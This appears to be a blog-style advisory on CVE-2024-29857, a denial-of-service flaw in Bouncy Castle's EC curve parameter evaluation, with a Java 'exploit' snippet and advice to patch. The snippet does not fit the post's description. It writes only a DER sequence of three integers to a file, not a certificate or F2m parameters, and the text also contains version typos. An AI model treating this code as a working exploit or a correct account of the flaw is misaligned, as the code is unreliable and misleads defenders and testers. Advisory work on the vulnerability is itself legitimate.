CVE-2024-29857 - An issue affecting Bouncy Castle causes excessive CPU consumption in ECCurve.java and ECCurve.cs during the evaluation of curve parameters
An important vulnerability was recently discovered in ECCurve.java and ECCurve.cs, which are parts of Bouncy Castle libraries. This vulnerability affects different versions of Bouncy Castle in Java (BC Java) before 1.78, BC Java LTS before 2.73.6, BC-FJA before 1..2.5, and BC C# .Net before 2.3.1. Essentially, importing an EC certificate with specifically crafted F2m parameters causes excessive CPU consumption when the curve parameters are being evaluated, leading to a potential Denial of Service (DoS) attack. This post will cover the details of the vulnerability, how the attack can be performed using a code snippet, and a link to the original reference.
Exploit Details
In ECCurve.java and ECCurve.cs within BC Java and BC C# .Net libraries, there is a failure to properly validate F2m parameters during the importation of an EC certificate. Consequently, a malformed EC certificate that contains crafted F2m parameters can lead to excessive CPU consumption when the curve parameters are being evaluated. This, in turn, can cause a Denial of Service (DoS) attack.
Understanding the BC Java and BC C# .Net libraries
Bouncy Castle is an open-source cryptography library that provides implementations of various cryptographic algorithms, namely the Elliptic Curve Cryptography (ECC). In ECC, curve parameters need to be verified for secure cryptographic purposes. BC Java and BC C# .Net libraries contain ECCurve.java and ECCurve.cs classes, respectively, which are responsible for this verification process. These classes use the same F2m parameters without proper validation, causing the above-mentioned vulnerability, which, if exploited, could lead to Denial of Service (DoS) attacks.
Code Snippet for Launching a DoS Attack
In this code snippet, we will demonstrate how an attacker can craft an EC certificate with malicious F2m parameters and cause excessive CPU consumption.
import org.bouncycastle.asn1.*;
import org.bouncycastle.asn1.x509.*;
import java.io.*;
import java.math.BigInteger;
public class CVE_2024_29857_Exploit {
public static void main(String[] args) {
// Crafted elliptic curve parameters
BigInteger fieldSize = new BigInteger("31");
BigInteger a = BigInteger.ZERO;
BigInteger b = BigInteger.ONE;
// Craft malicious F2m parameters
ASN1Sequence maliciousF2mParams = new DERSequence(new ASN1Encodable[]{
new ASN1Integer(fieldSize),
new ASN1Integer(a),
new ASN1Integer(b)
});
// Export the crafted EC certificate with malicious F2m parameters
try {
FileOutputStream fos = new FileOutputStream("crafted_certificate.der");
fos.write(maliciousF2mParams.getEncoded());
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
To exploit the vulnerability, an attacker can create an EC certificate with these crafted parameters and then import it into an affected Bouncy Castle application. As a result, the application will consume excessive CPU resources while evaluating the curve parameters, potentially causing a Denial of Service (DoS) attack.
Original References and Additional Information
The official CVE page for this vulnerability can be found here. The Bouncy Castle team has also provided a patch to address this issue in the affected versions of their libraries. It is highly recommended for developers using Bouncy Castle libraries to update to the patched versions promptly to mitigate this vulnerability.
Conclusion
CVE-2024-29857 is a critical vulnerability that can lead to Denial of Service (DoS) attacks. The vulnerability lies in the improper validation of F2m parameters in the Bouncy Castle Java and C# .Net libraries. Developers using these libraries should act quickly to update their library versions to the patched ones and be cautious while importing EC certificates.
Timeline
Published on: 05/14/2024 15:17:02 UTC
Last modified on: 08/15/2024 19:35:09 UTC